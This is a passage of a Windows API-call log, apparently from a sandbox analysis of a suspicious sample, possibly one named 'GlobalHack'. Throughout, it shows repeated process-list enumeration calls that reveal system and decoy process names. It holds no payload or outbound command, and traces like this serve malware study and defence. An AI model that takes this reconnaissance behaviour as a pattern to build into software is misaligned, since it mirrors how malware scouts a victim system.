th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.973] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.974] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.974] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.975] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.975] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.976] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.976] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.977] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.977] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.978] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.978] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.979] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.980] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.980] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.981] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.982] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.982] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.983] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.983] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.984] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0046.984] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.985] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0046.985] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0046.986] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.986] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0046.987] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0046.988] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0046.988] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0046.989] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commands-xerox.exe")) returned 1 [0046.989] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="richard_nice.exe")) returned 1 [0046.990] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oxide.exe")) returned 1 [0046.990] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pumpassuming.exe")) returned 1 [0046.991] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tion_belize.exe")) returned 1 [0046.993] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jackaccepting.exe")) returned 1 [0046.993] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="les_lodging.exe")) returned 1 [0046.994] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hazardsbusiness.exe")) returned 1 [0046.995] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dir needs.exe")) returned 1 [0046.995] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="statements inventory.exe")) returned 1 [0046.996] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay returned.exe")) returned 1 [0046.997] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="them.exe")) returned 1 [0046.997] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entertainment_enable.exe")) returned 1 [0046.998] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wirelessnetherlands.exe")) returned 1 [0046.999] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bulgaria.exe")) returned 1 [0047.000] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hours-extensive.exe")) returned 1 [0047.000] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reallysemiconductor.exe")) returned 1 [0047.001] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="breath_reveal_medicare.exe")) returned 1 [0047.002] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spain_chart_slightly.exe")) returned 1 [0047.002] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.003] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="GlobalHack[RUEUNAVN][17.02.2019] .exe")) returned 1 [0047.004] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0047.005] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0047.006] CloseHandle (hObject=0x270) returned 1 [0047.006] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0047.009] Process32First (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.010] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.011] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.011] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.012] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.013] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.013] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.014] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.015] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.015] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.016] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.017] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.018] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.019] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.020] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.020] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.021] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.022] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.023] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.023] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.024] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.025] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0047.025] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.026] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0047.027] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0047.027] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.028] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0047.029] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0047.030] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0047.030] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0047.031] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commands-xerox.exe")) returned 1 [0047.032] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="richard_nice.exe")) returned 1 [0047.032] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: 